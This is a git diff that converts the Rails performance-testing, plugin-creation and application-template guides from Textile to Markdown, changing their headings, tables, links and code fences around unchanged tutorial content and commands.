+##### Command Line This is a very basic form of output in profiling mode: -<shell> +```bash BrowsingTest#test_homepage (58 ms warmup) process_time: 63 ms memory: 832.13 KB objects: 7,882 -</shell> +``` -h6. Flat +##### Flat Flat output shows the metric—time, memory, etc—measure in each method. -"Check Ruby-Prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/flat_txt.html. +[Check Ruby-Prof documentation for a better explanation](http://ruby-prof.rubyforge.org/files/examples/flat_txt.html). -h6. Graph +##### Graph Graph output shows the metric measure in each method, which methods call it and -which methods it calls. "Check Ruby-Prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/graph_txt.html. +which methods it calls. [Check Ruby-Prof documentation for a better explanation](http://ruby-prof.rubyforge.org/files/examples/graph_txt.html). -h6. Tree +##### Tree -Tree output is profiling information in calltree format for use by "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html +Tree output is profiling information in calltree format for use by [kcachegrind](http://kcachegrind.sourceforge.net/html/Home.html) and similar tools. -h6. Output Availability +##### Output Availability -|_. |_.Flat|_.Graph|_.Tree| -|_.MRI | yes | yes | yes | -|_.REE | yes | yes | yes | -|_.Rubinius | yes | yes | no | -|_.JRuby | yes | yes | no | +| | Flat | Graph | Tree | +| ------------ | ---- | ----- | ---- | +| **MRI** | yes | yes | yes | +| **REE** | yes | yes | yes | +| **Rubinius** | yes | yes | no | +| **JRuby** | yes | yes | no | -h4. Tuning Test Runs +### Tuning Test Runs -Test runs can be tuned by setting the +profile_options+ class variable on your +Test runs can be tuned by setting the `profile_options` class variable on your test class. -<ruby> +```ruby require 'test_helper' require 'rails/performance_test_help' @@ -374,155 +379,159 @@ class BrowsingTest < ActionDispatch::PerformanceTest get '/' end end -</ruby> +``` In this example, the test would run 5 times and measure wall time and memory. There are a few configurable options: -|_.Option |_.Description|_.Default|_.Mode| -|+:runs+ |Number of runs.|Benchmarking: 4, Profiling: 1|Both| -|+:output+ |Directory to use when writing the results.|+tmp/performance+|Both| -|+:metrics+ |Metrics to use.|See below.|Both| -|+:formats+ |Formats to output to.|See below.|Profiling| +| Option | Description | Default | Mode | +| ---------- | ------------------------------------------ | ----------------------------- | --------- | +| `:runs` | Number of runs. | Benchmarking: 4, Profiling: 1 | Both | +| `:output` | Directory to use when writing the results. | `tmp/performance` | Both | +| `:metrics` | Metrics to use. | See below. | Both | +| `:formats` | Formats to output to. | See below. | Profiling | Metrics and formats have different defaults depending on the interpreter in use. -|_.Interpreter|_.Mode|_.Default metrics|_.Default formats| -|/2.MRI/REE |Benchmarking|+[:wall_time, :memory, :objects, :gc_runs, :gc_time]+|N/A| -|Profiling |+[:process_time, :memory, :objects]+|+[:flat, :graph_html, :call_tree, :call_stack]+| -|/2.Rubinius|Benchmarking|+[:wall_time, :memory, :objects, :gc_runs, :gc_time]+|N/A| -|Profiling |+[:wall_time]+|+[:flat, :graph]+| -|/2.JRuby |Benchmarking|+[:wall_time, :user_time, :memory, :gc_runs, :gc_time]+|N/A| -|Profiling |+[:wall_time]+|+[:flat, :graph]+| +| Interpreter | Mode | Default metrics | Default formats | +| -------------- | ------------ | ------------------------------------------------------- | ----------------------------------------------- | +| **MRI/REE** | Benchmarking | `[:wall_time, :memory, :objects, :gc_runs, :gc_time]` | N/A | +| | Profiling | `[:process_time, :memory, :objects]` | `[:flat, :graph_html, :call_tree, :call_stack]` | +| **Rubinius** | Benchmarking | `[:wall_time, :memory, :objects, :gc_runs, :gc_time]` | N/A | +| | Profiling | `[:wall_time]` | `[:flat, :graph]` | +| **JRuby** | Benchmarking | `[:wall_time, :user_time, :memory, :gc_runs, :gc_time]` | N/A | +| | Profiling | `[:wall_time]` | `[:flat, :graph]` | As you've probably noticed by now, metrics and formats are specified using a -symbol array with each name "underscored.":http://api.rubyonrails.org/classes/String.html#method-i-underscore +symbol array with each name [underscored.](http://api.rubyonrails.org/classes/String.html#method-i-underscore) -h4. Performance Test Environment +### Performance Test Environment -Performance tests are run in the +test+ environment. But running performance +Performance tests are run in the `test` environment. But running performance tests will set the following configuration parameters: -<shell> +```bash ActionController::Base.perform_caching = true ActiveSupport::Dependencies.mechanism = :require Rails.logger.level = ActiveSupport::BufferedLogger::INFO -</shell> +``` -As +ActionController::Base.perform_caching+ is set to +true+, performance tests -will behave much as they do in the +production+ environment. +As `ActionController::Base.perform_caching` is set to `true`, performance tests +will behave much as they do in the `production` environment. -h4. Installing GC-Patched MRI +### Installing GC-Patched MRI To get the best from Rails' performance tests under MRI, you'll need to build a special Ruby binary with some super powers. The recommended patches for each MRI version are: -|_.Version|_.Patch| -|1.8.6|ruby186gc| -|1.8.7|ruby187gc| -|1.9.2 and above|gcdata| +| Version | Patch | +| --------------- | --------- | +| 1.8.6 | ruby186gc | +| 1.8.7 | ruby187gc | +| 1.9.2 and above | gcdata | -All of these can be found on "RVM's _patches_ directory":https://github.com/wayneeseguin/rvm/tree/master/patches/ruby +All of these can be found on [RVM's _patches_ directory](https://github.com/wayneeseguin/rvm/tree/master/patches/ruby) under each specific interpreter version. Concerning the installation itself, you can either do this easily by using -"RVM":http://rvm.beginrescueend.com or you can build everything from source, +[RVM](http://rvm.beginrescueend.com) or you can build everything from source, which is a little bit harder. -h5. Install Using RVM +#### Install Using RVM The process of installing a patched Ruby interpreter is very easy if you let RVM do the hard work. All of the following RVM commands will provide you with a patched Ruby interpreter: -<shell> +```bash $ rvm install 1.9.2-p180 --patch gcdata $ rvm install 1.8.7 --patch ruby187gc $ rvm install 1.9.2-p180 --patch ~/Downloads/downloaded_gcdata_patch.patch -</shell> +``` You can even keep your regular interpreter by assigning a name to the patched one: -<shell> +```bash $ rvm install 1.9.2-p180 --patch gcdata --name gcdata $ rvm use 1.9.2-p180 # your regular ruby $ rvm use 1.9.2-p180-gcdata # your patched ruby -</shell> +``` And it's done! You have installed a patched Ruby interpreter. -h5. Install From Source +#### Install From Source This process is a bit more complicated, but straightforward nonetheless. If you've never compiled a Ruby binary before, follow these steps to build a Ruby binary inside your home directory. -h6. Download and Extract +##### Download and Extract -<shell> +```bash $ mkdir rubygc $ wget <the version you want from ftp://ftp.ruby-lang.org/pub/ruby> $ tar -xzvf <ruby-version.tar.gz> $ cd <ruby-version> -</shell> +``` -h6. Apply the Patch +##### Apply the Patch -<shell> +```bash $ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.9.2/p180/gcdata.patch | patch -p0 # if you're on 1.9.2! $ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.8.7/ruby187gc.patch | patch -p0 # if you're on 1.8.7! -</shell> +``` -h6. Configure and Install +##### Configure and Install -The following will install Ruby in your home directory's +/rubygc+ directory. -Make sure to replace +<homedir>+ with a full patch to your actual home +The following will install Ruby in your home directory's `/rubygc` directory. +Make sure to replace `<homedir>` with a full patch to your actual home directory. -<shell> +```bash $ ./configure --prefix=/<homedir>/rubygc $ make && make install -</shell> +``` -h6. Prepare Aliases +##### Prepare Aliases -For convenience, add the following lines in your +~/.profile+: +For convenience, add the following lines in your `~/.profile`: -<shell> +```bash alias gcruby='~/rubygc/bin/ruby' alias gcrake='~/rubygc/bin/rake' alias gcgem='~/rubygc/bin/gem' alias gcirb='~/rubygc/bin/irb' alias gcrails='~/rubygc/bin/rails' -</shell> +``` Don't forget to use your aliases from now on. -h4. Using Ruby-Prof on MRI and REE +### Using Ruby-Prof on MRI and REE Add Ruby-Prof to your applications' Gemfile if you want to benchmark/profile under MRI or REE: -<ruby> +```ruby gem 'ruby-prof', git: 'git://github.com/wycats/ruby-prof.git' -</ruby> +``` -Now run +bundle install+ and you're ready to go. +Now run `bundle install` and you're ready to go. -h3. Command Line Tools +Command Line Tools +------------------ Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing: -h4. +benchmarker+ +### `benchmarker` Usage: -<shell> +```bash Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS] -r, --runs N Number of runs. Default: 4 @@ -530,19 +539,19 @@ Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS] Default: tmp/performance -m, --metrics a,b,c Metrics to use. Default: wall_time,memory,objects,gc_runs,gc_time -</shell> +``` Example: -<shell> +```bash $ rails benchmarker 'Item.all' 'CouchItem.all' --runs 3 --metrics wall_time,memory -</shell> +``` -h4. +profiler+ +### `profiler` Usage: -<shell> +```bash Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS] -r, --runs N Number of runs. Default: 1 @@ -552,85 +561,87 @@ Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS] Default: process_time,memory,objects -m, --formats x,y,z Formats to output to. Default: flat,graph_html,call_tree -</shell> +``` Example: -<shell> +```bash $ rails profiler 'Item.all' 'CouchItem.all' --runs 2 --metrics process_time --formats flat -</shell> +``` -NOTE: Metrics and formats vary from interpreter to interpreter. Pass +--help+ to +NOTE: Metrics and formats vary from interpreter to interpreter. Pass `--help` to each tool to see the defaults for your interpreter. -h3. Helper Methods +Helper Methods +-------------- Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method -is called +benchmark()+ in all the three components. +is called `benchmark()` in all the three components. -h4. Model +### Model -<ruby> +```ruby Project.benchmark("Creating project") do project = Project.create("name" => "stuff") project.create_manager("name" => "David") project.milestones << Milestone.all end -</ruby> +``` -This benchmarks the code enclosed in the +Project.benchmark("Creating project") do...end+ +This benchmarks the code enclosed in the `Project.benchmark("Creating project") do...end` block and prints the result to the log file: -<ruby> +```ruby Creating project (185.3ms) -</ruby> +``` -Please refer to the "API docs":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark -for additional options to +benchmark()+. +Please refer to the [API docs](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark) +for additional options to `benchmark()`. -h4. Controller +### Controller -Similarly, you could use this helper method inside "controllers.":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html +Similarly, you could use this helper method inside [controllers.](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html) -<ruby> +```ruby def process_projects benchmark("Processing projects") do Project.process(params[:project_ids]) Project.update_cached_projects end end -</ruby> +``` -NOTE: +benchmark+ is a class method inside controllers. +NOTE: `benchmark` is a class method inside controllers. -h4. View +### View -And in "views":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html: +And in [views](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html:) -<erb> +```erb <% benchmark("Showing projects partial") do %> <%= render @projects %> <% end %> -</erb> +``` -h3. Request Logging +Request Logging +--------------- Rails log files contain very useful information about the time taken to serve each request. Here's a typical log file entry: -<shell> +```bash Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET] Rendering template within layouts/items Rendering items/index Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items] -</shell> +``` For this section, we're only interested in the last line: -<shell> +```bash Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items] -</shell> +``` This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measure the time taken. The complete request spent 5 ms inside @@ -638,35 +649,37 @@ Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller. -Michael Koziarski has an "interesting blog post":http://www.therailsway.com/2009/1/6/requests-per-second +Michael Koziarski has an [interesting blog post](http://www.therailsway.com/2009/1/6/requests-per-second) explaining the importance of using milliseconds as the metric. -h3. Useful Links +Useful Links +------------ -h4. Rails Plugins and Gems +### Rails Plugins and Gems -* "Rails Analyzer":http://rails-analyzer.rubyforge.org -* "Palmist":http://www.flyingmachinestudios.com/programming/announcing-palmist -* "Rails Footnotes":https://github.com/josevalim/rails-footnotes/tree/master -* "Query Reviewer":https://github.com/dsboulder/query_reviewer/tree/master -* "MiniProfiler":http://www.miniprofiler.com +* [Rails Analyzer](http://rails-analyzer.rubyforge.org) +* [Palmist](http://www.flyingmachinestudios.com/programming/announcing-palmist) +* [Rails Footnotes](https://github.com/josevalim/rails-footnotes/tree/master) +* [Query Reviewer](https://github.com/dsboulder/query_reviewer/tree/master) +* [MiniProfiler](http://www.miniprofiler.com) -h4. Generic Tools +### Generic Tools -* "httperf":http://www.hpl.hp.com/research/linux/httperf/ -* "ab":http://httpd.apache.org/docs/2.2/programs/ab.html -* "JMeter":http://jakarta.apache.org/jmeter/ -* "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html +* [httperf](http://www.hpl.hp.com/research/linux/httperf/) +* [ab](http://httpd.apache.org/docs/2.2/programs/ab.html) +* [JMeter](http://jakarta.apache.org/jmeter/) +* [kcachegrind](http://kcachegrind.sourceforge.net/html/Home.html) -h4. Tutorials and Documentation +### Tutorials and Documentation -* "ruby-prof API Documentation":http://ruby-prof.rubyforge.org -* "Request Profiling Railscast":http://railscasts.com/episodes/98-request-profiling - Outdated, but useful for understanding call graphs. +* [ruby-prof API Documentation](http://ruby-prof.rubyforge.org) +* [Request Profiling Railscast](http://railscasts.com/episodes/98-request-profiling) - Outdated, but useful for understanding call graphs. -h3. Commercial Products +Commercial Products +------------------- Rails has been lucky to have a few companies dedicated to Rails-specific performance tools. A couple of those are: -* "New Relic":http://www.newrelic.com -* "Scout":http://scoutapp.com +* [New Relic](http://www.newrelic.com) +* [Scout](http://scoutapp.com) diff --git a/guides/source/plugins.textile b/guides/source/plugins.md index 50ea6b166a..263f5b1351 100644 --- a/guides/source/plugins.textile +++ b/guides/source/plugins.md @@ -1,4 +1,5 @@ -h2. The Basics of Creating Rails Plugins +The Basics of Creating Rails Plugins +==================================== A Rails plugin is either an extension or a modification of the core framework. Plugins provide: @@ -21,48 +22,51 @@ For the purpose of this guide pretend for a moment that you are an avid bird wat Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. -endprologue. +-------------------------------------------------------------------------------- -h3. Setup +Setup +----- _"vendored plugins"_ were available in previous versions of Rails, but they are deprecated in -Rails 3.2, and will not be available in the future. +Rails 3.2, and will not be available in the future. -Currently, Rails plugins are built as gems, _gemified plugins_. They can be shared across -different rails applications using RubyGems and Bundler if desired. +Currently, Rails plugins are built as gems, _gemified plugins_. They can be shared across +different rails applications using RubyGems and Bundler if desired. -h4. Generate a gemified plugin. +### Generate a gemified plugin. -Rails 3.1 ships with a +rails plugin new+ command which creates a +Rails 3.1 ships with a `rails plugin new` command which creates a skeleton for developing any kind of Rails extension with the ability to run integration tests using a dummy Rails application. See usage and options by asking for help: -<shell> +```bash $ rails plugin --help -</shell> +``` -h3. Testing your newly generated plugin +Testing your newly generated plugin +----------------------------------- -You can navigate to the directory that contains the plugin, run the +bundle install+ command - and run the one generated test using the +rake+ command. +You can navigate to the directory that contains the plugin, run the `bundle install` command + and run the one generated test using the `rake` command. You should see: -<shell> - 2 tests, 2 assertions, 0 failures, 0 errors, 0 skips -</shell> +```bash + 2 tests, 2 assertions, 0 failures, 0 errors, 0 skips +``` This will tell you that everything got generated properly and you are ready to start adding functionality. -h3. Extending Core Classes +Extending Core Classes +---------------------- This section will explain how to add a method to String that will be available anywhere in your rails application. -In this example you will add a method to String named +to_squawk+. To begin, create a new test file with a few assertions: +In this example you will add a method to String named `to_squawk`. To begin, create a new test file with a few assertions: -<ruby> +```ruby # yaffle/test/core_ext_test.rb require 'test_helper' @@ -72,33 +76,33 @@ class CoreExtTest < Test::Unit::TestCase assert_equal "squawk! Hello World", "Hello World".to_squawk end end -</ruby> +``` -Run +rake+ to run the test. This test should fail because we haven't implemented the +to_squawk+ method: +Run `rake` to run the test. This test should fail because we haven't implemented the `to_squawk` method: -<shell> - 1) Error: - test_to_squawk_prepends_the_word_squawk(CoreExtTest): - NoMethodError: undefined method `to_squawk' for "Hello World":String - test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk' -</shell> +```bash + 1) Error: + test_to_squawk_prepends_the_word_squawk(CoreExtTest): + NoMethodError: undefined method `to_squawk' for [Hello World](String) + test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk' +``` Great - now you are ready to start development. -Then in +lib/yaffle.rb+ require +lib/core_ext+: +Then in `lib/yaffle.rb` require `lib/core_ext`: -<ruby> +```ruby # yaffle/lib/yaffle.rb require "yaffle/core_ext" module Yaffle end -</ruby> +``` -Finally, create the +core_ext.rb+ file and add the +to_squawk+ method: +Finally, create the `core_ext.rb` file and add the `to_squawk` method: -<ruby> +```ruby # yaffle/lib/yaffle/core_ext.rb String.class_eval do @@ -106,39 +110,40 @@ String.class_eval do "squawk! #{self}".strip end end -</ruby> +``` -To test that your method does what it says it does, run the unit tests with +rake+ from your plugin directory. +To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory. -<shell> - 3 tests, 3 assertions, 0 failures, 0 errors, 0 skips -</shell> +```bash + 3 tests, 3 assertions, 0 failures, 0 errors, 0 skips +``` To see this in action, change to the test/dummy directory, fire up a console and start squawking: -<shell> +```bash $ rails console >> "Hello World".to_squawk => "squawk! Hello World" -</shell> +``` -h3. Add an "acts_as" Method to Active Record +Add an "acts_as" Method to Active Record +---------------------------------------- A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models. To begin, set up your files so that you have: -<ruby> +```ruby # yaffle/test/acts_as_yaffle_test.rb require 'test_helper' class ActsAsYaffleTest < Test::Unit::TestCase end -</ruby> +``` -<ruby> +```ruby # yaffle/lib/yaffle.rb require "yaffle/core_ext" @@ -146,9 +151,9 @@ require 'yaffle/acts_as_yaffle' module Yaffle end -</ruby> +``` -<ruby> +```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb module Yaffle @@ -156,9 +161,9 @@ module Yaffle # your code will go here end end -</ruby> +``` -h4. Add a Class Method +### Add a Class Method This plugin will expect that you've added a method to your model named 'last_squawk'. However, the plugin users might have already defined a method on their model named 'last_squawk' that they use @@ -166,7 +171,7 @@ for something else. This plugin will allow the name to be changed by adding a cl To start out, write a failing test that shows the behavior you'd like: -<ruby> +```ruby # yaffle/test/acts_as_yaffle_test.rb require 'test_helper' @@ -182,47 +187,47 @@ class ActsAsYaffleTest < Test::Unit::TestCase end end -</ruby> +``` -When you run +rake+, you should see the following: +When you run `rake`, you should see the following: -<shell> - 1) Error: - test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest): - NameError: uninitialized constant ActsAsYaffleTest::Hickwall - test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk' +``` + 1) Error: + test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest): + NameError: uninitialized constant ActsAsYaffleTest::Hickwall + test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk' - 2) Error: - test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest): - NameError: uninitialized constant ActsAsYaffleTest::Wickwall - test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet' + 2) Error: + test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest): + NameError: uninitialized constant ActsAsYaffleTest::Wickwall + test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet' - 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips -</shell> + 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips +``` This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test. We can easily generate these models in our "dummy" Rails application by running the following commands from the test/dummy directory: -<shell> +```bash $ cd test/dummy $ rails generate model Hickwall last_squawk:string $ rails generate model Wickwall last_squawk:string last_tweet:string -</shell> +``` Now you can create the necessary database tables in your testing database by navigating to your dummy app and migrating the database. First -<shell> +```bash $ cd test/dummy $ rake db:migrate $ rake db:test:prepare -</shell> +``` While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act like yaffles. -<ruby> +```ruby # test/dummy/app/models/hickwall.rb class Hickwall < ActiveRecord::Base @@ -235,11 +240,11 @@ class Wickwall < ActiveRecord::Base acts_as_yaffle :yaffle_text_field => :last_tweet end -</ruby> +``` We will also add code to define the acts_as_yaffle method. -<ruby> +```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb module Yaffle module ActsAsYaffle @@ -257,30 +262,30 @@ module Yaffle end ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle -</ruby> +``` -You can then return to the root directory (+cd ../..+) of your plugin and rerun the tests using +rake+. +You can then return to the root directory (`cd ../..`) of your plugin and rerun the tests using `rake`. -<shell> - 1) Error: - test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest): - NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8> - /Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing' - test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk' +``` + 1) Error: + test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest): + NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8> + /Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing' + test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk' - 2) Error: - test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest): - NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748> - Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing' - test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet' + 2) Error: + test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest): + NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748> + Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing' + test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet' - 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips + 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips -</shell> +``` Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass. -<ruby> +```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb module Yaffle @@ -300,22 +305,22 @@ module Yaffle end ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle -</ruby> +``` -When you run +rake+ you should see the tests all pass: +When you run `rake` you should see the tests all pass: -<shell> - 5 tests, 5 assertions, 0 failures, 0 errors, 0 skips -</shell> +```bash + 5 tests, 5 assertions, 0 failures, 0 errors, 0 skips +``` -h4. Add an Instance Method +### Add an Instance Method This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database. To start out, write a failing test that shows the behavior you'd like: -<ruby> +```ruby # yaffle/test/acts_as_yaffle_test.rb require 'test_helper' @@ -341,13 +346,13 @@ class ActsAsYaffleTest < Test::Unit::TestCase assert_equal "squawk! Hello World", wickwall.last_tweet end end -</ruby> +``` Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'", then update 'acts_as_yaffle.rb' to look like this: -<ruby> -# yaffle/lib/yaffle/acts_as_yaffle.rb +```ruby +# yaffle/lib/yaffle/acts_as_yaffle.rb module Yaffle module ActsAsYaffle @@ -374,36 +379,39 @@ module Yaffle end ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle -</ruby> +``` -Run +rake+ one final time and you should see: +Run `rake` one final time and you should see: -<shell> - 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips -</shell> +``` + 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips +``` -NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>. +NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`. -h3. Generators +Generators +---------- Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about -the creation of generators can be found in the "Generators Guide":generators.html +the creation of generators can be found in the [Generators Guide](generators.html) -h3. Publishing your Gem +Publishing your Gem +------------------- Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply commit the code to a Git repository (like GitHub) and add a line to the Gemfile of the application in question: -<ruby> +```ruby gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git' -</ruby> +``` -After running +bundle install+, your gem functionality will be available to the application. +After running `bundle install`, your gem functionality will be available to the application. -When the gem is ready to be shared as a formal release, it can be published to "RubyGems":http://www.rubygems.org. -For more information about publishing gems to RubyGems, see: "Creating and Publishing Your First Ruby Gem":http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html +When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org). +For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html) -h3. RDoc Documentation +RDoc Documentation +------------------ Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. @@ -418,13 +426,13 @@ Once your README is solid, go through and add rdoc comments to all of the method Once your comments are good to go, navigate to your plugin directory and run: -<shell> +```bash $ rake rdoc -</shell> +``` -h4. References +### References -* "Developing a RubyGem using Bundler":https://github.com/radar/guides/blob/master/gem-development.md -* "Using .gemspecs as Intended":http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/ -* "Gemspec Reference":http://docs.rubygems.org/read/chapter/20 -* "GemPlugins: A Brief Introduction to the Future of Rails Plugins":http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins +* [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md) +* [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/) +* [Gemspec Reference](http://docs.rubygems.org/read/chapter/20) +* [GemPlugins: A Brief Introduction to the Future of Rails Plugins](http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins) diff --git a/guides/source/rails_application_templates.textile b/guides/source/rails_application_templates.md index 2fa40bc4cc..ee5fbcfd52 100644 --- a/guides/source/rails_application_templates.textile +++ b/guides/source/rails_application_templates.md @@ -1,4 +1,5 @@ -h2. Rails Application Templates +Rails Application Templates +=========================== Application templates are simple Ruby files containing DSL for adding gems/initializers etc. to your freshly created Rails project or an existing Rails project. @@ -7,29 +8,31 @@ By referring to this guide, you will be able to: * Use templates to generate/customize Rails applications * Write your own reusable application templates using the Rails template API -endprologue. +-------------------------------------------------------------------------------- -h3. Usage +Usage +----- To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option. This can either be path to a file or a URL. -<shell> +```bash $ rails new blog -m ~/template.rb $ rails new blog -m http://example.com/template.rb -</shell> +``` -You can use the rake task +rails:template+ to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL. +You can use the rake task `rails:template` to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL. -<shell> +```bash $ rake rails:template LOCATION=~/template.rb $ rake rails:template LOCATION=http://example.com/template.rb -</shell> +``` -h3. Template API +Template API +------------ Rails templates API is very self explanatory and easy to understand. Here's an example of a typical Rails template: -<ruby> +```ruby # template.rb run "rm public/index.html" generate(:scaffold, "person name:string") @@ -39,87 +42,87 @@ rake("db:migrate") git :init git :add => "." git :commit => %Q{ -m 'Initial commit' } -</ruby> +``` The following sections outlines the primary methods provided by the API: -h4. gem(name, options = {}) +### gem(name, options = {}) -Adds a +gem+ entry for the supplied gem to the generated application’s +Gemfile+. +Adds a `gem` entry for the supplied gem to the generated application’s `Gemfile`. -For example, if your application depends on the gems +bj+ and +nokogiri+: +For example, if your application depends on the gems `bj` and `nokogiri`: -<ruby> +```ruby gem "bj" gem "nokogiri" -</ruby> +``` -Please note that this will NOT install the gems for you and you will have to run +bundle install+ to do that. +Please note that this will NOT install the gems for you and you will have to run `bundle install` to do that. -<ruby> +```bash bundle install -</ruby> +``` -h4. gem_group(*names, &block) +### gem_group(*names, &block) Wraps gem entries inside a group. -For example, if you want to load +rspec-rails+ only in +development+ and +test+ group: +For example, if you want to load `rspec-rails` only in `development` and `test` group: -<ruby> +```ruby gem_group :development, :test do gem "rspec-rails" end -</ruby> +``` -h4. add_source(source, options = {}) +### add_source(source, options = {}) -Adds the given source to the generated application's +Gemfile+. +Adds the given source to the generated application's `Gemfile`. For example, if you need to source a gem from "http://code.whytheluckystiff.net": -<ruby> +```ruby add_source "http://code.whytheluckystiff.net" -</ruby> +``` -h4. vendor/lib/file/initializer(filename, data = nil, &block) +### vendor/lib/file/initializer(filename, data = nil, &block) -Adds an initializer to the generated application’s +config/initializers+ directory. +Adds an initializer to the generated application’s `config/initializers` directory. -Lets say you like using +Object#not_nil?+ and +Object#not_blank?+: +Lets say you like using `Object#not_nil?` and `Object#not_blank?`: -<ruby> +```ruby initializer 'bloatlol.rb', <<-CODE -class Object - def not_nil? - !nil? - end + class Object + def not_nil? + !nil? + end - def not_blank? - !blank? + def not_blank? + !blank? + end end -end CODE -</ruby> +``` -Similarly +lib()+ creates a file in the +lib/+ directory and +vendor()+ creates a file in the +vendor/+ 